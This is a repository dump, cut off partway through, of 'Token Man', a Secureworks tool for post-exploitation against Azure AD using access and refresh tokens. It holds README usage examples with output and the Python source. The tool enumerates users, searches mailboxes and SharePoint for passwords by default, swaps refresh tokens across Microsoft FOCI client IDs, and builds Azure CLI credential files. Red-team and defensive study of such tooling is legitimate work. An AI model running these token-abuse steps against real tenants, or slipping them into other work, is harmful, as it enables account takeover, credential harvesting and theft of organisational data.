├── .gitignore
├── LICENSE
├── README.md
├── requirements.txt
├── resc
└── tokenman.png
├── tokenman.py
└── tokenman
├── __init__.py
├── acquire.py
├── args.py
├── az
├── __init__.py
├── az.py
├── azure_profile.py
└── msal_token_cache.py
├── cache.py
├── fetch
├── __init__.py
├── applications.py
├── drives.py
├── emails.py
├── fetch.py
├── groups.py
├── organizations.py
├── serviceprincipals.py
└── users.py
├── module.py
├── oauth
├── __init__.py
├── devicecode.py
├── oauth.py
└── poll.py
├── search
├── __init__.py
├── messages.py
├── onedrive.py
├── search.py
└── sharepoint.py
├── state.py
├── swap
├── __init__.py
└── swap.py
└── utils.py
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | share/python-wheels/
24 | *.egg-info/
25 | .installed.cfg
26 | *.egg
27 | MANIFEST
28 |
29 | # PyInstaller
30 | # Usually these files are written by a python script from a template
31 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
32 | *.manifest
33 | *.spec
34 |
35 | # Installer logs
36 | pip-log.txt
37 | pip-delete-this-directory.txt
38 |
39 | # Unit test / coverage reports
40 | htmlcov/
41 | .tox/
42 | .nox/
43 | .coverage
44 | .coverage.*
45 | .cache
46 | nosetests.xml
47 | coverage.xml
48 | *.cover
49 | *.py,cover
50 | .hypothesis/
51 | .pytest_cache/
52 | cover/
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 | local_settings.py
61 | db.sqlite3
62 | db.sqlite3-journal
63 |
64 | # Flask stuff:
65 | instance/
66 | .webassets-cache
67 |
68 | # Scrapy stuff:
69 | .scrapy
70 |
71 | # Sphinx documentation
72 | docs/_build/
73 |
74 | # PyBuilder
75 | .pybuilder/
76 | target/
77 |
78 | # Jupyter Notebook
79 | .ipynb_checkpoints
80 |
81 | # IPython
82 | profile_default/
83 | ipython_config.py
84 |
85 | # pyenv
86 | # For a library or package, you might want to ignore these files since the code is
87 | # intended to run in multiple environments; otherwise, check them in:
88 | # .python-version
89 |
90 | # pipenv
91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
94 | # install all needed dependencies.
95 | #Pipfile.lock
96 |
97 | # poetry
98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
99 | # This is especially recommended for binary packages to ensure reproducibility, and is more
100 | # commonly ignored for libraries.
101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
102 | #poetry.lock
103 |
104 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
105 | __pypackages__/
106 |
107 | # Celery stuff
108 | celerybeat-schedule
109 | celerybeat.pid
110 |
111 | # SageMath parsed files
112 | *.sage.py
113 |
114 | # Environments
115 | .env
116 | .venv
117 | env/
118 | venv/
119 | ENV/
120 | env.bak/
121 | venv.bak/
122 |
123 | # Spyder project settings
124 | .spyderproject
125 | .spyproject
126 |
127 | # Rope project settings
128 | .ropeproject
129 |
130 | # mkdocs documentation
131 | /site
132 |
133 | # mypy
134 | .mypy_cache/
135 | .dmypy.json
136 | dmypy.json
137 |
138 | # Pyre type checker
139 | .pyre/
140 |
141 | # pytype static type analyzer
142 | .pytype/
143 |
144 | # Cython debug symbols
145 | cython_debug/
146 |
147 | # PyCharm
148 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can
149 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
150 | # and can be added to the global gitignore or merged into this file. For a more nuclear
151 | # option (not recommended) you can uncomment the following to ignore the entire idea folder.
152 | #.idea/
153 |
154 | **/.DS_Store
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Access and Refresh Token Suite.
7 |
8 | Token Man is a tool for supporting post-exploitation activities using AAD access and/or refresh tokens.
9 |
10 |
11 |
12 | # Table of Contents
13 |
14 | - [Usage](#usage)
15 | - [Commands](#commands)
16 | - [Fetch](#fetch)
17 | - [Search](#search)
18 | - [Swap](#swap)
19 | - [FOCI Application Client ID Map](#foci-application-client-id-map)
20 | - [AZ](#az)
21 | - [OAuth](#oauth)
22 |
23 | ## Usage
24 |
25 | ```
26 | usage: tokenman.py [-h] {fetch,search,swap,az,oauth} ...
27 |
28 | Token Man -- v0.1.1
29 |
30 | positional arguments:
31 | {fetch,search,swap,az,oauth}
32 | Command
33 | fetch Retrieve data via Graph API
34 | search Search content via Graph API
35 | swap Exchange a refresh token
36 | az Generate Azure CLI authentication files
37 | oauth Perform OAuth device code flow
38 |
39 | options:
40 | -h, --help show this help message and exit
41 | ```
42 |
43 | ## Commands
44 |
45 | ### Fetch
46 |
47 | Fetch specified data via the Microsoft Graph API.
48 |
49 | ```
50 | usage: tokenman.py fetch [-h] [--debug] [-r REFRESH_TOKEN | -a ACCESS_TOKEN] [--proxy PROXY]
51 | [-m MODULE]
52 |
53 | options:
54 | -h, --help show this help message and exit
55 |
56 | --debug enable debugging
57 |
58 | -r REFRESH_TOKEN, --refresh-token REFRESH_TOKEN
59 | AAD refresh token
60 |
61 | -a ACCESS_TOKEN, --access-token ACCESS_TOKEN
62 | AAD access token
63 |
64 | --proxy PROXY
65 | HTTP proxy url (e.g. http://127.0.0.1:8080)
66 |
67 | -m MODULE, --module MODULE
68 | fetch module(s) to run (comma delimited)
69 | (all | applications,drives,emails,groups,organizations,serviceprincipals,users)
70 | [default: all]
71 | ```
72 |
73 | ```
74 | > python3 tokenman.py fetch -r "0.AW8AD..." -m users
75 |
76 | [2022-10-13 18:59:26,314] [info] Acquiring new token for: 'Microsoft Office'
77 | [2022-10-13 18:59:30,546] [info] Fetching users
78 | [2022-10-13 18:59:32,455] [info] Users: 78
79 | [2022-10-13 18:59:32,455] [info] Output: data/fetch.users.20221013225932.json
80 | ```
81 |
82 | ### Search
83 |
84 | Search for keywords in the contents of a specified entity via the Microsoft Graph API.
85 |
86 | ```
87 | usage: tokenman.py search [-h] [--debug] [-r REFRESH_TOKEN | -a ACCESS_TOKEN] [--proxy PROXY]
88 | [-m MODULE] [--keyword KEYWORD]
89 |
90 | options:
91 | -h, --help show this help message and exit
92 |
93 | --debug enable debugging
94 |
95 | -r REFRESH_TOKEN, --refresh-token REFRESH_TOKEN
96 | AAD refresh token
97 |
98 | -a ACCESS_TOKEN, --access-token ACCESS_TOKEN
99 | AAD access token
100 |
101 | --proxy PROXY
102 | HTTP proxy url (e.g. http://127.0.0.1:8080)
103 |
104 | -m MODULE, --module MODULE
105 | search module(s) to run (comma delimited)
106 | (all | messages,onedrive,sharepoint)
107 | [default: all]
108 |
109 | --keyword KEYWORD
110 | keyword(s) to search for (comma delimited)
111 | [default: password,username]
112 | ```
113 |
114 | ```
115 | > python3 tokenman.py search -r "0.AW8AD..." -m messages --keyword password
116 |
117 | [2022-10-13 19:06:56,652] [info] Acquiring new token for: 'Microsoft Office'
118 | [2022-10-13 19:07:00,135] [info] Searching 'messages' for: ['password']
119 | [2022-10-13 19:07:03,618] [info] Search Results: 1
120 | [2022-10-13 19:07:03,618] [info] Output: data/search.messages.20221013230703.json
121 | ```
122 |
123 | ### Swap
124 |
125 | Exchange the given refresh token for a different client id via family of client IDs (FOCI).
126 |
127 | ```
128 | usage: tokenman.py swap [-h] [--debug] [-r REFRESH_TOKEN | -a ACCESS_TOKEN] [--proxy PROXY]
129 | [--list] [-c CLIENT_ID] [--resource RESOURCE] [--scope SCOPE]
130 |
131 | options:
132 | -h, --help show this help message and exit
133 |
134 | --debug enable debugging
135 |
136 | -r REFRESH_TOKEN, --refresh-token REFRESH_TOKEN
137 | AAD refresh token
138 |
139 | -a ACCESS_TOKEN, --access-token ACCESS_TOKEN
140 | AAD access token
141 |
142 | --proxy PROXY
143 | HTTP proxy url (e.g. http://127.0.0.1:8080)
144 |
145 | --list list foci client id and name mapping
146 |
147 | -c CLIENT_ID, --client-id CLIENT_ID
148 | application client id or name to exchange token for
149 |
150 | --resource RESOURCE
151 | token resource (audience)
152 |
153 | --scope SCOPE
154 | token scope (comma delimited) [default: .default]
155 | ```
156 |
157 | ```
158 | > python3 tokenman.py swap -r "0.AW8AD..." -c "Microsoft Azure CLI" --resource https://management.azure.com
159 |
160 | [2022-10-13 16:36:46,653] [info] Acquiring new token for: '04b07795-8ddb-461a-bbee-02f9e1bf7b46'
161 | [2022-10-13 16:36:55,557] [info] Output: data/token.04b07795-8ddb-461a-bbee-02f9e1bf7b46.20221013203655.json
162 | [2022-10-13 16:36:55,557] [info] Access Token:
163 |
164 | eyJ0e...
165 | ```
166 |
167 | #### FOCI Application Client ID Map
168 |
169 | > Via the `--list` flag, most of these values come from the research: [Family of Client IDs](https://github.com/secureworks/family-of-client-ids-research)
170 |
171 | ```json
172 | {
173 | "Accounts Control UI": "a40d7d7d-59aa-447e-a655-679a4107e548",
174 | "Microsoft Authenticator App": "4813382a-8fa7-425e-ab75-3b753aab3abb",
175 | "Microsoft Azure CLI": "04b07795-8ddb-461a-bbee-02f9e1bf7b46",
176 | "Microsoft Azure PowerShell": "1950a258-227b-4e31-a9cf-717495945fc2",
177 | "Microsoft Bing Search for Microsoft Edge": "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8",
178 | "Microsoft Bing Search": "cf36b471-5b44-428c-9ce7-313bf84528de",
179 | "Microsoft Edge": "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34",
180 | "Microsoft Edge (1)": "e9c51622-460d-4d3d-952d-966a5b1da34c",
181 | "Microsoft Edge AAD BrokerPlugin": "ecd6b820-32c2-49b6-98a6-444530e5a77a",
182 | "Microsoft Flow": "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0",
183 | "Microsoft Intune Company Portal": "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223",
184 | "Microsoft Office": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
185 | "Microsoft Planner": "66375f6b-983f-4c2c-9701-d680650f588f",
186 | "Microsoft Power BI": "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12",
187 | "Microsoft Stream Mobile Native": "844cca35-0656-46ce-b636-13f48b0eecbd",
188 | "Microsoft Teams - Device Admin Agent": "87749df4-7ccf-48f8-aa87-704bad0e0e16",
189 | "Microsoft Teams": "1fec8e78-bce4-4aaf-ab1b-5451cc387264",
190 | "Microsoft To-Do client": "22098786-6e16-43cc-a27d-191a01a1e3b5",
191 | "Microsoft Tunnel": "eb539595-3fe1-474e-9c1d-feb3625d1be5",
192 | "Microsoft Whiteboard Client": "57336123-6e14-4acc-8dcf-287b6088aa28",
193 | "Office 365 Management": "00b41c95-dab0-4487-9791-b9d2c32c80f2",
194 | "Office UWP PWA": "0ec893e0-5785-4de6-99da-4ed124e5296c",
195 | "OneDrive iOS App": "af124e86-4e96-495a-b70a-90f90ab96707",
196 | "OneDrive SyncEngine": "ab9b8c07-8f02-4f72-87fa-80105867a763",
197 | "OneDrive": "b26aadf8-566f-4478-926f-589f601d9c74",
198 | "Outlook Mobile": "27922004-5251-4030-b22d-91ecd9a37ea4",
199 | "PowerApps": "4e291c71-d680-4d0e-9640-0a3358e31177",
200 | "SharePoint Android": "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d",
201 | "SharePoint": "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0",
202 | "Visual Studio": "872cd9fa-d31f-45e0-9eab-6e460a02d1f1",
203 | "Windows Search": "26a7ee05-5602-4d76-a7ba-eae8b7b67941",
204 | "Yammer iPhone": "a569458c-7f2b-45cb-bab9-b7dee514d112"
205 | }
206 | ```
207 |
208 | ### AZ
209 |
210 | Generate the required authentication files for Azure CLI using only a refresh token.
211 |
212 | ```
213 | usage: tokenman.py az [-h] [--debug] [-r REFRESH_TOKEN | -a ACCESS_TOKEN] [--proxy PROXY]
214 | [-c CLIENT_ID]
215 |
216 | options:
217 | -h, --help show this help message and exit
218 |
219 | --debug enable debugging
220 |
221 | -r REFRESH_TOKEN, --refresh-token REFRESH_TOKEN
222 | AAD refresh token
223 |
224 | -a ACCESS_TOKEN, --access-token ACCESS_TOKEN
225 | AAD access token
226 |
227 | --proxy PROXY
228 | HTTP proxy url (e.g. http://127.0.0.1:8080)
229 |
230 | -c CLIENT_ID, --client-id CLIENT_ID
231 | application client id or name to exchange token for
232 | [default: Azure CLI]
233 | ```
234 |
235 | ```
236 | > python3 tokenman.py az -r "0.AW8AD..."
237 |
238 | [2022-10-13 14:00:03,072] [info] Generating MSAL Token Cache
239 | [2022-10-13 14:00:05,287] [info] Writing MSAL Token Cache to disk
240 | [2022-10-13 14:00:05,288] [info] Generating Azure Profile
241 | [2022-10-13 14:00:06,578] [info] Writing Azure Profile to disk
242 | [2022-10-13 14:00:06,578] [info] Successfully generated Azure CLI authentication files
243 | ```
244 |
245 | ### OAuth
246 |
247 | Generate a refresh and access token using the device code flow using credentials for authentication.
248 |
249 | ```
250 | usage: tokenman.py oauth [-h] [--debug] [--proxy PROXY] [-c CLIENT_ID]
251 | [--scope SCOPE]
252 |
253 | options:
254 | -h, --help show this help message and exit
255 |
256 | --debug enable debugging
257 |
258 | --proxy PROXY
259 | HTTP proxy url (e.g. http://127.0.0.1:8080)
260 |
261 | -c CLIENT_ID, --client-id CLIENT_ID
262 | application client id or name to request token for
263 | [default: Azure CLI]
264 |
265 | --scope SCOPE
266 | token scope (comma delimited) [default: .default]
267 | ```
268 |
269 | ```
270 | > python3 tokenman.py oauth
271 |
272 | [2022-10-27 14:32:35,574] [info] Requesting new device code
273 | [2022-10-27 14:32:35,927] [info] Starting authentication poll in background
274 | [2022-10-27 14:32:35,929] [info] Launching browser for authentication
275 | [2022-10-27 14:32:35,929] [info] Enter the following device code: XXXXXXXXX
276 | [2022-10-27 14:32:35,929] [info] Close the browser or tab once authentication has completed to continue
277 | [2022-10-27 14:32:58,683] [info] Output: data/devicecode.token.20221027183258.json
278 | ```
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | colorama
2 | PyJWT>=2.1.0
3 | requests
--------------------------------------------------------------------------------
/resc/tokenman.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/secureworks/TokenMan/d2189eba24129a5cf20c079f472237ffc91d4898/resc/tokenman.png
--------------------------------------------------------------------------------
/tokenman.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | # Copyright 2022 Secureworks
5 | #
6 | # Licensed under the Apache License, Version 2.0 (the "License");
7 | # you may not use this file except in compliance with the License.
8 | # You may obtain a copy of the License at
9 | #
10 | # http://www.apache.org/licenses/LICENSE-2.0
11 | #
12 | # Unless required by applicable law or agreed to in writing, software
13 | # distributed under the License is distributed on an "AS IS" BASIS,
14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
15 | # See the License for the specific language governing permissions and
16 | # limitations under the License.
17 |
18 | import logging
19 | import urllib3 # type: ignore
20 | from pathlib import Path
21 | from tokenman import __title__
22 | from tokenman import __version__
23 | from tokenman import utils
24 | from tokenman.args import parse_args
25 | from tokenman.cache import TokenCache
26 | from tokenman.state import RunState
27 |
28 | # Command handlers
29 | from tokenman.az import AZ
30 | from tokenman.fetch import Fetch
31 | from tokenman.oauth import OAuth
32 | from tokenman.search import Search
33 | from tokenman.swap import Swap
34 |
35 |
36 | # Disable insecure request warnings
37 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
38 |
39 |
40 | if __name__ == "__main__":
41 | args = parse_args()
42 | print(utils.BANNER)
43 |
44 | # Initialize logging level and format
45 | utils.init_logger(args.debug)
46 |
47 | # Create output directory: ./data/
48 | output_dir = Path("data")
49 | output_dir.mkdir(parents=True, exist_ok=True)
50 |
51 | # Initialize tokenman state
52 | state = RunState(
53 | token_cache=TokenCache(
54 | access_token=args.access_token,
55 | refresh_token=args.refresh_token,
56 | ),
57 | output=output_dir,
58 | proxy=args.proxy,
59 | )
60 |
61 | # Handle 'fetch' command
62 | if args.command == "fetch":
63 |
64 | logging.debug(f"Fetch Modules: {args.module}")
65 | Fetch.run(
66 | state=state,
67 | modules=args.module,
68 | )
69 |
70 | # Handle 'search' command
71 | elif args.command == "search":
72 |
73 | logging.debug(f"Search Module: {args.module}")
74 | Search.run(
75 | state=state,
76 | modules=args.module,
77 | keywords=args.keyword,
78 | )
79 |
80 | # Handle 'swap' command
81 | elif args.command == "swap":
82 |
83 | logging.debug(f"Swap Target: {args.client_id}")
84 | Swap.run(
85 | state=state,
86 | client_id=args.client_id,
87 | resource=args.resource,
88 | scope=args.scope,
89 | )
90 |
91 | # Handle 'az' command
92 | elif args.command == "az":
93 |
94 | AZ.run(state=state, client_id=args.client_id)
95 |
96 | # Handle 'oauth' command
97 | elif args.command == "oauth":
98 |
99 | OAuth.run(
100 | state=state,
101 | client_id=args.client_id,
102 | scope=args.scope,
103 | )
104 |
--------------------------------------------------------------------------------
/tokenman/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # fmt: off
16 |
17 | __title__ = "Token Man"
18 | __version__ = "0.1.1"
19 |
--------------------------------------------------------------------------------
/tokenman/acquire.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import logging
16 | import requests # type: ignore
17 | from typing import List
18 | from typing import Dict
19 |
20 |
21 | def acquire_token_by_refresh_token(
22 | refresh_token: str,
23 | client_id: str,
24 | resource: str = None,
25 | scope: List[str] = [".default"],
26 | proxies: Dict[str, str] = None,
27 | verify: bool = True,
28 | *args,
29 | **kwargs,
30 | ) -> Dict[str, str]:
31 | """Acquire a new refresh token using by querying the 'oauth2/token'
32 | endpoint. Manually exchange instead of using MSAL to provide slightly
33 | more granularity in token options via 'resource' parameter.
34 |
35 | :param refresh_token: refresh token
36 | :param client_id: target client id
37 | :param resource: target resource/audience
38 | :param scopes: target scopes
39 | :param proxies: http request proxy
40 | :param verify: http request certificate verification
41 | :returns: token object
42 | """
43 | endpoint = "https://login.microsoftonline.com/common/oauth2/token"
44 |
45 | # If HTTP proxy provided, default to no ssl validation
46 | if proxies:
47 | verify = False
48 |
49 | # Build scope
50 | default_scope = ["profile", "openid", "offline_access"]
51 | token_scope = list(set(scope + default_scope)) # dedup
52 | token_scope = "%20".join(token_scope)
53 |
54 | # Build token POST request data
55 | data = f"client_id={client_id}"
56 | data += "&grant_type=refresh_token"
57 | data += "&client_info=1"
58 | data += f"&refresh_token={refresh_token}"
59 | data += f"&scope={token_scope}"
60 |
61 | if resource:
62 | data += f"&resource={resource}"
63 |
64 | # Request token
65 | try:
66 | response = requests.post(
67 | endpoint,
68 | data=data,
69 | proxies=proxies,
70 | verify=verify,
71 | )
72 | token = response.json()
73 |
74 | # Handle errors
75 | if "error" in token.keys():
76 | raise Exception(token["error_description"])
77 |
78 | return token
79 |
80 | except Exception as e:
81 | logging.error(f"Failed to acquire token: {e}")
82 | return None
83 |
--------------------------------------------------------------------------------
/tokenman/args.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import argparse
16 | import json
17 | import sys
18 | from tokenman import __title__
19 | from tokenman import __version__
20 | from tokenman import utils
21 |
22 |
23 | def parse_args() -> argparse.Namespace:
24 | """Parse command line arguments
25 |
26 | :returns: argparse namespace
27 | """
28 | parser = argparse.ArgumentParser(description=f"{__title__} -- v{__version__}")
29 | subparsers = parser.add_subparsers(help="Command", dest="command")
30 |
31 | # Shared flags
32 | base_subparser = argparse.ArgumentParser(add_help=False)
33 | base_subparser.add_argument("--debug", action="store_true", help="enable debugging")
34 | token_group = base_subparser.add_mutually_exclusive_group()
35 | token_group.add_argument(
36 | "-r",
37 | "--refresh-token",
38 | type=str,
39 | help="AAD refresh token",
40 | )
41 | token_group.add_argument(
42 | "-a",
43 | "--access-token",
44 | type=str,
45 | help="AAD access token",
46 | )
47 | base_subparser.add_argument(
48 | "--proxy",
49 | type=str,
